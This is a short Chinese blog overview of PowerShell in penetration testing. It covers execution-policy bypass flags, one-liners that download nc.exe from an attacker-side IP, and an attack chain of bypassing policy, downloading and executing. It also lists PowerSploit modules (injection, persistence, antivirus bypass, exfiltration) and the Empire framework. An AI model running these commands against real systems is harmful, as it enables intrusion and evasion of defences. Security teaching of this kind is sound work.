浅谈PowerShell在渗透测试中的应用

2019-08-07 14:43:14 浏览数 (1)

0x01 PowerShell简介

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。

代码运行在内存中可以不去接触磁盘 很多安全产品并不能监测到powershell的活动 cmd.exe通常被阻止运行,但是powershell不会。

0x02 常用命令及一般攻击方式

-WindowsStyle Hidden 隐藏自己的窗口

-ExecutionPolicy Bypass 绕过策略

Get-Content .runme.ps1 | PowerShell.exe -noprofile -

其他绕过策略

http://www.freebuf.com/articles/system/93829.html

查看策略

Get-ExecutionPolicy

显示PowerShell版本

Get-Host或者$PSVersionTable.PSVersion

Win 7 PowerShell WebClient:

(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")

Win 8及更高版本PowerShell Invoke-WebRequest (wget):

wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"

获取帮助

get-help

进程相关

start-process

get-process

stop-process(kill)

ps

一般利用步骤

绕过相关策略->下载相应脚本->执行脚本->(其他脚本下载执行利用)

0x03 PowerSploit

PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

项目地址:https://github.com/PowerShellMafia/PowerSploit

脚本列表

一、代码执行(CodeExecution)

1. Invoke-DllInjection*

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、脚本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、权限维持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、绕过杀毒软件(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

这个文件夹主要是收集目标主机上的信息。

六、信息侦察(Recon)

这个文件夹主要是以目标主机为跳板进行内网主机侦察。

具体利用

https://xz.aliyun.com/t/263

https://www.secpulse.com/archives/55893.html

0x04 Empire

Empire:PowerShell后期漏洞利用代理工具

不多说 给两个链接 实战中有时候比msf更好用

http://www.freebuf.com/articles/web/76892.html

https://github.com/EmpireProject/Empire

0x05 其它姿势

http://www.freebuf.com/sectool/90362.html

http://www.freebuf.com/articles/system/133640.html

看了很多国外的内网渗透权限维持和免杀后,发现powershell做对抗的难度已提升了

国外大牛们已经开始在研究.net以及C#的代码,进行绕过和长久控制

感兴趣的可以多研究下C#和.net编程哦,未来一段时间里的发展方向

0 人点赞